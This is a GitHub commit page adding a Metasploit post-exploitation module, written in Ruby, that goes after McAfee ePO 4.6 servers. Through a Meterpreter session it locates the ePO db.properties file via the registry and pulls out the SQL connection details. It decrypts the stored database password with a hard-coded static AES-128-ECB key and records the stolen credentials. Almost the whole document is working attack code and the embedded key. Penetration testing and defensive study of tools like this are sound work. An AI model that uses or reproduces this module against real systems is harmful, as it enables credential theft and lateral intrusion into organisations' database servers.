Permalink
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Browse files
Adds the community submitted ePO database password post module
Did some minor code cleanup and replaced the hostname resolution with mubix's railgun code to make the victim do the resolution. This should be more reliable. Fixes #5210 git-svn-id: file:///home/svn/framework3/trunk@14160 4d416f70-5f16-0410-b530-b9f4589650da
- Loading branch information
Showing
with
175 additions
and 0 deletions.
@@ -0,0 +1,175 @@ | ||
## | ||
# $Id$ | ||
## | ||
|
||
## | ||
# This file is part of the Metasploit Framework and may be subject to | ||
# redistribution and commercial restrictions. Please see the Metasploit | ||
# Framework web site for more information on licensing and terms of use. | ||
# http://metasploit.com/framework/ | ||
## | ||
require 'msf/core' | ||
require 'rex' | ||
require 'msf/core/post/windows/registry' | ||
require "net/dns/resolver" | ||
|
||
class Metasploit3 < Msf::Post | ||
include Msf::Post::Windows::Registry | ||
include Msf::Auxiliary::Report | ||
|
||
def initialize(info={}) | ||
super( update_info( info, | ||
'Name' => 'Windows Gather McAfee ePO 4.6 Config SQL Credentials', | ||
'Description' => %q{ | ||
This module extracts connection details and decrypts the saved password for the | ||
SQL database in use by a McAfee ePO 4.6 server. The passwords are stored in a | ||
config file. They are encrypted with AES-128-ECB and a static key. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => ['Nathan Einwechter <neinwechter[at]gmail.com>'], | ||
'Version' => '$Revision$', | ||
'Platform' => [ 'windows' ], | ||
'SessionTypes' => [ 'meterpreter' ] | ||
)) | ||
end | ||
|
||
def run | ||
# Find out where things are installed | ||
print_status("Finding Tomcat install path...") | ||
subkeys = registry_enumkeys("HKLM\\Software\\Network Associates\\ePolicy Orchestrator") | ||
if subkeys.nil? or subkeys.empty? | ||
print_error ("ePO 4.6 Not Installed or No Permissions to RegKey") | ||
return | ||
end | ||
# Get the db.properties file location | ||
epol_reg_key = "HKLM\\Software\\Network Associates\\ePolicy Orchestrator" | ||
dbprops_file = registry_getvaldata(epol_reg_key, "TomcatFolder") | ||
if dbprops_file == nil or dbprops_file == "" | ||
print_error("Could not find db.properties file location") | ||
else | ||
dbprops_file << "/conf/orion/db.properties"; | ||
print_good("Found db.properties location"); | ||
process_config(dbprops_file); | ||
end | ||
end | ||
|
||
def process_config(filename) | ||
config = client.fs.file.new(filename, 'r') | ||
print_status("Processing #{filename}") | ||
contents = config.read | ||
config_lines = contents.split("\n") | ||
for line in config_lines | ||
line.chomp | ||
line_array = line.split('=') | ||
case line_array[0] | ||
when "db.database.name" | ||
database_name = "" | ||
line_array[1].each_byte { |x| database_name << x unless x > 126 || x < 32 } | ||
when "db.instance.name" | ||
database_instance = "" | ||
line_array[1].each_byte { |x| database_instance << x unless x > 126 || x < 32 } | ||
when "db.user.domain" | ||
user_domain = "" | ||
line_array[1].each_byte { |x| user_domain << x unless x > 126 || x < 32 } | ||
when "db.user.name" | ||
user_name = "" | ||
line_array[1].each_byte { |x| user_name << x unless x > 126 || x < 32 } | ||
when "db.port" | ||
port = "" | ||
line_array[1].each_byte { |x| port << x unless x > 126 || x < 32 } | ||
when "db.user.passwd.encrypted.ex" | ||
# ePO 4.6 encrypted password | ||
passwd = "" | ||
line_array[1].each_byte { |x| passwd << x unless x > 126 || x < 32 } | ||
passwd.gsub("\\","") | ||
# Add any Base64 padding that may have been stripped out | ||
passwd << "=" until ( passwd.length % 4 == 0 ) | ||
plaintext_passwd = decrypt46(passwd) | ||
when "db.user.passwd.encrypted" | ||
# ePO 4.5 encrypted password - not currently supported, see notes below | ||
passwd = "" | ||
line_array[1].each_byte { |x| passwd << x unless x > 126 || x < 32 } | ||
passwd.gsub("\\","") | ||
# Add any Base64 padding that may have been stripped out | ||
passwd << "=" until ( passwd.length % 4 == 0 ) | ||
plaintext_passwd = "PASSWORD NOT RECOVERED - ePO 4.5 DECRYPT SUPPORT IS WIP" | ||
when "db.server.name" | ||
database_server_name = "" | ||
line_array[1].each_byte { |x| database_server_name << x unless x > 126 || x < 32 } | ||
end | ||
end | ||
|
||
# resolve IP address for creds reporting | ||
#Code borrowed from Rob fuller's dig module | ||
if client.platform =~ /^x64/ | ||
size = 64 | ||
addrinfoinmem = 32 | ||
else | ||
size = 32 | ||
addrinfoinmem = 24 | ||
end | ||
|
||
result = client.railgun.ws2_32.getaddrinfo(database_server_name,nil,nil,4) | ||
if result['GetLastError'] == 11001 | ||
print_error("Could not determine IP of DB - credentials not added to report database") | ||
return | ||
end | ||
addrinfo = client.railgun.memread( result['ppResult'], size ) | ||
ai_addr_pointer = addrinfo[addrinfoinmem,4].unpack('L').first | ||
sockaddr = client.railgun.memread( ai_addr_pointer, size/2 ) | ||
ip = sockaddr[4,4].unpack('N').first | ||
db_ip = Rex::Socket.addr_itoa(ip) | ||
|
||
print_good("SQL Server: #{database_server_name}") | ||
print_good("SQL Instance: #{database_instance}") | ||
print_good("Database Name: #{database_name}") | ||
if db_ip | ||
print_good("Database IP: #{db_ip}") | ||
end | ||
print_good("Port: #{port}") | ||
if user_domain == nil or user_domain == "" | ||
print_good("Authentication Type: SQL"); | ||
full_user = user_name | ||
else | ||
print_good("Authentication Type: Domain"); | ||
print_good("Domain: #{user_domain}"); | ||
full_user = "#{user_domain}\\#{user_name}" | ||
end | ||
print_good("User: #{user_name}") | ||
print_good("Password: #{plaintext_passwd}") | ||
|
||
if (db_ip) | ||
# submit to reports | ||
report_auth_info( | ||
:host => db_ip, | ||
:port => port, | ||
:sname => 'mssql', | ||
:user => full_user, | ||
:pass => plaintext_passwd, | ||
:active => true | ||
) | ||
print_good("Added credentials to report database") | ||
else | ||
print_error("Could not determine IP of DB - credentials not added to report database") | ||
end | ||
end | ||
|
||
|
||
def decrypt46(encoded) | ||
encrypted_data = Rex::Text.decode_base64(encoded) | ||
aes = OpenSSL::Cipher::Cipher.new("AES-128-ECB") | ||
aes.padding = 0 | ||
aes.decrypt | ||
# Private key extracted from ePO 4.6.0 Build 1029 | ||
# If other keys are required for other versions of 4.6 - will have to add version | ||
# identification routines in to the main part of the module | ||
key = [ 94, -100, 62, -33, -26, 37, -124, 54, 102, 33, -109, -128, 49, 90, 41, 51 ] | ||
aes.key = key.pack('C*') | ||
password = aes.update(encrypted_data) + aes.final | ||
# Get rid of all the crazy \f's that result | ||
password.gsub!(/[^[:print:]]/,'') | ||
return password | ||
end | ||
|
||
|
||
end |